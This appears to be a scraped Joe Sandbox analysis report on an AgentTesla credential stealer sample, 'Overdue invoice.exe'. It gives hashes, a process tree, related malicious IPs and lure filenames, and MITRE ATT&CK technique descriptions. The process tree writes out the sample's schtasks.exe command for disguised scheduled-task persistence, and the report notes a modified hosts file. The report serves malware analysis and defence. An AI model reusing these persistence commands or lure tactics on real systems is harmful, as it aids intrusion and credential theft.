Function 04C606B0 Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

GF{, xrefs: 04C606E5

Memory Dump Source

Source File: 00000010.00000002.374740764.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c60000_yqWDN.jbxd

Similarity

API ID:
String ID: GF{
API String ID: 0-1065277956
Opcode ID: 7febc4fdacb53e0e669c8251a5b6f548619ada7b66d91791fbb7dbdc053764ba
Instruction ID: bf107dc42ae084a34b838188c3a8c912231c2a45e7058b0453b88753a005a1a2
Opcode Fuzzy Hash: 7febc4fdacb53e0e669c8251a5b6f548619ada7b66d91791fbb7dbdc053764ba
Instruction Fuzzy Hash: 51E086765010809BC704CF65CDDA689BBF5EF412D8B185496D9629F21BE6247002DB24

Uniqueness

Uniqueness Score: -1.00%

Function 04C602E4 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.374740764.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c60000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd0aae0c60e1006688c0b16af1be21d62d4ebe5d08b60e6ff1bd4a7d8b496f2a
Instruction ID: 38de0fb7c9fd2ecd64862650d174ca34593441398e3155160eba2d5026898376
Opcode Fuzzy Hash: bd0aae0c60e1006688c0b16af1be21d62d4ebe5d08b60e6ff1bd4a7d8b496f2a
Instruction Fuzzy Hash: D2F0CFB48042A9DFCB58CFA5DA8479CBBB1AB08315F10809AD406BB210DB301A88CF20

Uniqueness

Uniqueness Score: -1.00%

Function 04C60B21 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.374740764.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c60000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6511c75084f8304de459965e3bd66bead0726ed1c28ed8d5a4aa2be48825c0f8
Instruction ID: 2e161500c1846a392a8467846f76f86fb1831360d4da243b249f74e5602eca1f
Opcode Fuzzy Hash: 6511c75084f8304de459965e3bd66bead0726ed1c28ed8d5a4aa2be48825c0f8
Instruction Fuzzy Hash: AEE086210593D55AC753C3A4A9567D77F94AF03128B1842CBD9945F1E3D7260B42C286

Uniqueness

Uniqueness Score: -1.00%

Function 04C60B30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.374740764.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c60000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63be4395ba761676f48088cc11e9de040e6be40326b1c03ab7fe3bd45d1351bd
Instruction ID: 985f796fc38a9ddb5a7ee5c5c68181688511a37f57d31f7be48c761ef6f374d5
Opcode Fuzzy Hash: 63be4395ba761676f48088cc11e9de040e6be40326b1c03ab7fe3bd45d1351bd
Instruction Fuzzy Hash: 14D0A73081210CDBC744EFF4A54679EBBBCAB00604F6040A9890853241EB311F05C681

Uniqueness

Uniqueness Score: -1.00%

Match	Associated Sample Name / URL	SHA 256	Detection	Link
206.183.111.188	statement of account.exe	Get hash	malicious	Browse
	Request Quotation.exe	Get hash	malicious	Browse
	statement of account.exe	Get hash	malicious	Browse
	BANK slip.exe	Get hash	malicious	Browse
	invoice.exe	Get hash	malicious	Browse
	NEW QUOTATION ENQUIRY.exe	Get hash	malicious	Browse
	Statement of Account.exe	Get hash	malicious	Browse
	new order 20211029.exe	Get hash	malicious	Browse
	SOA.exe	Get hash	malicious	Browse
	purchase order pdf.exe	Get hash	malicious	Browse
	payment infirmation.exe	Get hash	malicious	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WEBWERKS-AS-INWebWerksIndiaPvtLtdIN	https://oscarwilliams.net/re/1665.php	Get hash	malicious	Browse	103.251.94.111
	Kn7vI9IYMc3QOV4.exe	Get hash	malicious	Browse	43.241.37.192
	https://www.3pumphouse.com/?gclid=EAIaIQobChMIlab2mvPr9wIVD-G7CB3y0goCEAEYASAAEgJ2fvD_BwE	Get hash	malicious	Browse	103.86.176.137
	PO087-Uhhgyauag98-Ybsysgbuygayuu.htm	Get hash	malicious	Browse	180.149.241.244
	GlKt2OVVbM	Get hash	malicious	Browse	103.118.12.141
	xd.arm7	Get hash	malicious	Browse	103.118.12.103
	statement of account.exe	Get hash	malicious	Browse	206.183.111.188
	wfXXHrVoiO	Get hash	malicious	Browse	43.241.39.126
	Request Quotation.exe	Get hash	malicious	Browse	206.183.111.188
	6DUDXXCuW8.exe	Get hash	malicious	Browse	103.212.121.91
	statement of account.exe	Get hash	malicious	Browse	206.183.111.188
	61qmScKTMK.exe	Get hash	malicious	Browse	103.212.121.91
	nL63S1iE3i	Get hash	malicious	Browse	103.118.12.144
	lAaP4XA5wB	Get hash	malicious	Browse	43.241.39.151
	FIR COPY.SCR.exe	Get hash	malicious	Browse	103.224.240.69
	7QU8r8CWAC	Get hash	malicious	Browse	103.118.12.135
	FIR.exe	Get hash	malicious	Browse	103.224.240.69
	9KYaTfGxCC	Get hash	malicious	Browse	43.241.39.185
	BANK slip.exe	Get hash	malicious	Browse	206.183.111.188
	adjunto 07032022.xlsm	Get hash	malicious	Browse	103.251.24.104

Target ID:	0
Start time:	12:53:16
Start date:	27/05/2022
Path:	C:\Users\user\Desktop\Overdue invoice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Overdue invoice.exe"
Imagebase:	0x520000
File size:	731648 bytes
MD5 hash:	21C2F8CC3F1D71FFB036CA3788A346B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.302129408.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.302129408.0000000003B92000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Target ID:	3
Start time:	12:53:33
Start date:	27/05/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmpA306.tmp
Imagebase:	0xf00000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	4
Start time:	12:53:34
Start date:	27/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	7
Start time:	12:53:35
Start date:	27/05/2022
Path:	C:\Users\user\Desktop\Overdue invoice.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xfe0000
File size:	731648 bytes
MD5 hash:	21C2F8CC3F1D71FFB036CA3788A346B6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.519470076.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000007.00000002.519470076.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000000.294988702.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000007.00000000.294988702.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000000.295945880.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000007.00000000.295945880.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000000.295465407.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000007.00000000.295465407.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000000.294210578.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000007.00000000.294210578.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Target ID:	16
Start time:	12:54:01
Start date:	27/05/2022
Path:	C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe"
Imagebase:	0x830000
File size:	731648 bytes
MD5 hash:	21C2F8CC3F1D71FFB036CA3788A346B6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000010.00000002.373874318.0000000003C5F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000010.00000002.373874318.0000000003C5F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Target ID:	17
Start time:	12:54:05
Start date:	27/05/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmp2055.tmp
Imagebase:	0xf00000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	18
Start time:	12:54:06
Start date:	27/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Overdue invoice.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Overdue invoice.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\yqWDN.exe.log

C:\Users\user\AppData\Local\Temp\tmp2055.tmp

C:\Users\user\AppData\Local\Temp\tmpA306.tmp

C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe

C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe

C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe:Zone.Identifier

C:\Windows\System32\drivers\etc\hosts

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
Overdue invoice.exe

Function 0726C268 Relevance: 6.5, Strings: 5, Instructions: 288
COMMON

Function 07266369 Relevance: 1.6, Strings: 1, Instructions: 390
COMMON

Function 07266329 Relevance: 1.6, Strings: 1, Instructions: 386
COMMON

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre